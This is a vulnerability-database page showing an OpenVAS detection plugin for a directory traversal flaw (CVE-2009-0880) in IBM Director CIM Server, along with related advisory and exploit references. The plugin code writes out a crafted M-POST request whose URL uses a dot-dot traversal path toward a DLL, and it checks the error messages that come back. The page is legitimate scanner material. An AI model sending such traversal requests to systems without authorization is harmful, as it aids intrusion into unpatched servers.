Lucene search
K

IBM Director CIM Server CIMListener Directory Traversal Vulnerability - Active Check

🗓️ 11 Dec 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 52 Views

IBM Director CIM Server directory traversal vulnerability - Active Chec

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
IBM System Director Remote System Level Exploit
2 Dec 201200:00
zdt
0day.today
IBM System Director Agent DLL Injection Vulnerability
7 Dec 201200:00
zdt
Circl
CVE-2009-0880
10 Mar 200900:00
circl
CVE
CVE-2009-0880
12 Mar 200915:00
cve
Cvelist
CVE-2009-0880
12 Mar 200915:00
cvelist
Exploit DB
IBM System Director Agent - Remote System Level
2 Dec 201200:00
exploitdb
Exploit DB
IBM System Director Agent - DLL Injection (Metasploit)
7 Dec 201200:00
exploitdb
exploitpack
IBM System Director Agent - Remote System Level
2 Dec 201200:00
exploitpack
Kaspersky
KLA10198 Multiple vulnerabilities in IBM Director
12 Mar 200900:00
kaspersky
Metasploit
IBM System Director Agent DLL Injection
6 Dec 201215:43
metasploit
Rows per page
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802684");
  script_version("2025-01-21T05:37:33+0000");
  script_tag(name:"last_modification", value:"2025-01-21 05:37:33 +0000 (Tue, 21 Jan 2025)");
  script_tag(name:"creation_date", value:"2012-12-11 20:37:46 +0530 (Tue, 11 Dec 2012)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2009-0880");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("IBM Director CIM Server CIMListener Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 6988);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"IBM Director CIM Server is prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP M-POST request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to error in IBM Director CIM Server, which
  allow remote attackers to load and execute arbitrary local DLL code via a .. (dot dot) in a
  /CIMListener/ URI in an M-POST request.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to traverse
  the file system and specify any library on the system.");

  script_tag(name:"affected", value:"IBM Director version 5.20.3 Service Update 1 and prior.");

  script_tag(name:"solution", value:"Update to version 5.20.3 Service Update 2 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/34212");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34065");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/23074/");
  script_xref(name:"URL", value:"https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt");
  script_xref(name:"URL", value:"https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=dmp&S_PKG=director_x_520&S_TACT=sms&lang=en_US&cp=UTF-8");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:6988);

xmlscript = string(
'<?xml version="1.0" encoding="utf-8" ?>' +
'<CIM CIMVERSION="2.0" DTDVERSION="2.0">' +
' <MESSAGE ID="1007" PROTOCOLVERSION="1.0">' +
'  <SIMPLEEXPREQ>' +
'    <EXPMETHODCALL NAME="ExportIndication">' +
'     <EXPPARAMVALUE NAME="NewIndication">' +
'      <INSTANCE CLASSNAME="CIM_AlertIndication" >' +
'        <PROPERTY NAME="Description" TYPE="string">' +
'          <VALUE>Sample CIM_AlertIndication indication</VALUE>' +
'        </PROPERTY>' +
'      </INSTANCE>' +
'    </EXPPARAMVALUE>' +
'  </EXPMETHODCALL>' +
' </SIMPLEEXPREQ>' +
' </MESSAGE>' +
'</CIM>');

url = "/CIMListener/\\..\\..\\..\\..\\..\\mydll";

host = http_host_name(port:port);

req = string("M-POST ", url, " HTTP/1.1\r\n" ,
             "Host: ", host, "\r\n" ,
             "Content-Type: application/xml; charset=utf-8\r\n" ,
             "Content-Length: ", strlen(xmlscript), "\r\n" ,
             "Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n" ,
             "CIMOperation: MethodCall\r\n" ,
             "CIMExport: MethodRequest\r\n" ,
             "CIMExportMethod: ExportIndication\r\n",
             "\r\n", xmlscript, "\r\n");
res = http_send_recv(port:port, data:req);

if (res && res =~ "^HTTP/1\.[01] 200" && "CIMExport: " >< res &&
    "Cannot load module " >< res && "Unknown exception" >< res &&
    "Cannot initialize consumer due to security restrictions" >!< res &&
    "Cannot load outside cimom/bin" >!< res && "CIM CIMVERSION=" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation